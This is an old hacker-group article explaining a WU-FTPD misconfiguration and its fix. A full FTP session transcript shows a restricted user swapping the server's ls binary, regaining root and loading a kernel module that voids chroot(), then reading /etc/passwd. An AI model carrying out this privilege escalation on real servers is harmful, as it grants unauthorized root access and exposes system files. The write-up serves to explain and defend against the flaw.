RESTRICTING A RESTRICTED FTP

By FLoW



No, this is not a tongue twister... This article bases in one of the most common configuration errors involving FTP and permissions, not obvious at first sight, but it has got some administrators banging his head against a wall for some days :)

FTP is one of the most usual services offered by a server, anonymous or for users to transfer files.
It's not that unusual to find servers that restrict users access to their home directories, because why should any user had access to the whole system if they only need FTP to update their web pages?

This article is based in my experience with WU-FTPD, although any FTP server that allows restricted access and uses a /bin/ls located in the user home directory is potentially vulnerable.
Let's get to it...

Permissions, ownership and privileges

Whenever we add a new user to the system (using adduser, useradd or so) the new user becomes owner of his home directory (at least in the scripts i've seen), e.g.:

drwx------   2 user     users        1024 Jun 21 11:26 /home/user/
That's the way to do it, and what one will expect from a user directory.
The trouble starts when we set up an FTP server that restricts user access to their home directory.
In order to do this we create a directory structure in the user home directory that simulates our system's:

/etc: passwd,group - so the FTP server can bind UIDs and GIDs with named, making it more easy for the client.

/bin: ls, compress, gzip... - binaries the FTP server runs.

/lib, /usr/lib: libraries, just in case the binaries need them.

/dev: some operating systems need access to some devices in order to establish network connections.

Users don't need to touch these directories, thus we can restrict their permissions and change ownership to the super user.

Confusions

The problems begin when we do this and we forgot that the user's home directory is owned by the user and thus, he can change any files hanging from it. It's not that hard to find scenarios like this:

drwxr-xr-x   6 user     users        1024 Jun 21 11:26 /home/user/
drwx--x--x   2 root     root         1024 Jun 21 11:26 /home/user/bin/
In which the user user can change the bin directory in its home directory (if the directory has contents not owned by the user, we can't delete them, but nothing stops us from renaming it :) ).

So what's the point? Let's see how wu.ftpd works internally.
When we request a directory listing through FTP (LIST command), the FTP server EXECUTES /bin/ls, and in the case of a restricted (guest) FTP, the user's home directory /bin/ls.

Let's remember that the FTP server runs as root, in order to open a privileged port (21) and to access the user information files in case it is a system using shadow.
When a user accesses the restricted FTP, the server changes its euid (effective uid, the UID it runs under) to the user uid.
The server uses seteuid() instead of setuid() in order to regain super user privileges in case it needs to, impossible to do with setuid().

Anyway, the FTP server executes this /bin/ls after chroot()ing to the user home directory. chroot() changes the process root directory to the one we pass as a parameter, that is, after a chroot() the process can only access that part of the file system, and it can't get out of there (theoretically).

If the user is able to modify /bin/ls (that's the scenario we were looking at before), then we are at his feet =) The program that substitutes ls will be run whenever we do a LIST, with euid equal to the user's uid, but uid=0, thus this ls can call setuid(0) and regain super user privileges, although inside the restricted user directory.

Escaping the chroot()
As we have previously said, even if we can execute arbitrary code, we find ourselves inside a chroot()ed file system. A chroot() is inherited from parents to child, so if we spawn a process we will still be limited by the chroot().

The process root directory is a property stored with all the process information in a process table kept in memory by the system (to which super user has total access), thus we just need to access this table, modify our root directory and spawn a process that will inherit this new root directory, getting us out of the chroot().

Another way to get out of it (for Linux) can be to load a kernel module in order to capture the chroot() syscall and modify it to not restrict our access to the file system or, given the kernel has access to all the system, to execute arbitrary code for us, Creativity :)

At the end of the article you can find a Linux's module code that modifies the chroot() syscall to not restrict our access to the file system and an ls substitute that loads the module.

The practice
 

Here is a commented example to clear doubts :)
thx:~# ftp
ftp> o ilm
Connected to ilm.
220 ilm FTP server (Version wu-2.4(4) Wed Oct 15 16:11:18 PDT 1997) ready.
Name (ilm:root): user
331 Password required for user.
Password:
230 User user logged in.  Access restrictions apply.
Remote system type is UNIX.
Using binary mode to transfer files.
user connects to the machine where he's got restricted access. When connecting, the
server executes chroot() to the user's home directory.
ftp> ls
200 PORT command successful.
150 Opening ASCII mode data connection for /bin/ls.
total 5
drwxr-xr-x   5 user     users        1024 Jun 21 11:26 .
drwxr-xr-x   5 user     users        1024 Jun 21 11:26 ..
d--x--x--x   2 root     root         1024 Jun 21 11:26 bin
drwxr-xr-x   2 root     root         1024 Jun 21 11:26 etc
drwxr-xr-x   2 user     users        1024 Jun 21 11:26 home
226 Transfer complete.
ftp> cd ..
250 CWD command successful.
ftp> ls
200 PORT command successful.
150 Opening ASCII mode data connection for /bin/ls.
total 5
drwxr-xr-x   5 user     users        1024 Jun 21 11:26 .
drwxr-xr-x   5 user     users        1024 Jun 21 21:26 ..
d--x--x--x   2 root     root         1024 Jun 21 11:26 bin
drwxr-xr-x   2 root     root         1024 Jun 21 11:26 etc
drwxr-xr-x   2 user     users        1024 Jun 21 11:26 home
226 Transfer complete.
user is restricted to his home directory
ftp> ls bin/ls
200 PORT command successful.
150 Opening ASCII mode data connection for /bin/ls.
---x--x--x   1 root     root       138008 Jun 21 11:26 bin/ls
226 Transfer complete.
ftp> ren bin bin.old
350 File exists, ready for destination name
250 RNTO command successful.
ftp> mkdir bin
257 MKD command successful.
ftp> cd bin
250 CWD command successful.
ftp> put ls
226 Transfer complete.
ftp> put insmod
226 Transfer complete.
ftp> put chr.o
226 Transfer complete.
modifies the ls binary and uploads other files he needs
ftp> chmod 555 ls
200 CHMOD command successful.
ftp> chmod 555 insmod
200 CHMOD command successful.
changes the modes in order to be able to execute the files he's just uploaded
ftp> ls
200 PORT command successful.
150 Opening ASCII mode data connection for /bin/ls.
UID: 0 EUID: 1002
Cambiando EUID...
UID: 0 EUID: 0
Cargando modulo chroot...
Modulo cargado.
226 Transfer complete.
and runs the modified ls, that changes his euid to 0 and loads the trojan module
ftp> bye
221 Goodbye.
thx:~#
at this point, the user has loaded the kernel module that captures and voids the chroot() syscall
thx:~# ftp
ftp> o ilm
Connected to ilm.
220 ilm FTP server (Version wu-2.4(4) Wed Oct 15 16:11:18 PDT 1997) ready.
Name (ilm:root): user
331 Password required for user.
Password:
230 User user logged in.  Access restrictions apply.
Remote system type is UNIX.
Using binary mode to transfer files.
at this point, server has chroot()ed to the user's home directory, but it has been captured and voided by our module
ftp> ls
200 PORT command successful.
150 Opening ASCII mode data connection for /bin/ls.
total 1697
drwxr-xr-x  21 root     root         1024 Jun 21 11:57 .
drwxr-xr-x  21 root     root         1024 Jun 21 11:57 ..
-rw-r--r--   1 root     root          118 Apr 21 11:26 .bash_history
drwxr-xr-x   2 root     bin          2048 Jun 21 11:26 bin
drwxr-xr-x   2 root     root         1024 Jun  8 11:26 boot
drwxr-xr-x   2 root     root         1024 Oct  6 11:26 cdrom
drwxr-xr-x   3 root     root        21504 Jun 21 15:26 dev
drwxr-xr-x  14 root     root         3072 Jun 21 15:26 etc
drwxr-xr-x   7 root     root         1024 Jun 21 19:26 export
drwxr-xr-x   7 root     root         1024 Jun 21 19:26 home
dr-xr-xr-x   5 root     root            0 Jun 21 14:26 proc
...
-rw-r--r--   1 root     root       404717 Mar 12 18:06 vmlinuz
226 Transfer complete.
and thus the user has access to the whole file system...
ftp> get /etc/passwd
226 Transfer complete.
...with all its consequences.
ftp> bye
221 Goodbye.
thx:~#
This is a very little example of what can be done, just think that we've just loaded a kernel module, something that's quite threatening of our system integrity...
It's just as easy to create a module that modifies files, changes permissions, etc, but I leave this to you :) (or at least those that don't read the code ;) )

Solution
I suppose you found the trivial solution, change user's home directory ownership to super user and restrict the permissions, e.g.:

ilm:~$ ls -ula /home/user
total 5
drwxr-xr-x   6 root     root         1024 Jun 21 11:26 ./
drwxr-xr-x   8 root     root         1024 Jun 21 11:26 ../
d--x--x--x   2 root     root         1024 Jun 21 11:26 bin/
drwxr-xr-x   2 root     root         1024 Jun 21 11:26 etc/
drwxr-xr-x   2 user     users        1024 Jun 21 11:26 home/
ilm:~$
My advice is to drop wu-ftpd and install ProFTPD, an FTP server designed with security in mind that doesn't execute external binaries.

Conclusion
This is not a generic failure of the FTP server, but a not unusual configuration error, if you had everything correctly set up, at least I hope you have enjoyed the article :)

Cheers,
FLoW

Appendix: References
 
 

  • Module code
  • wu-ftpd Resource Center
  • ProFTPD

  •  

     

    (C) 1997-2001 by !Hispahack
    Para ver el web en las mejores condiciones, usa una resolución de 800x600 y Netscape Navigator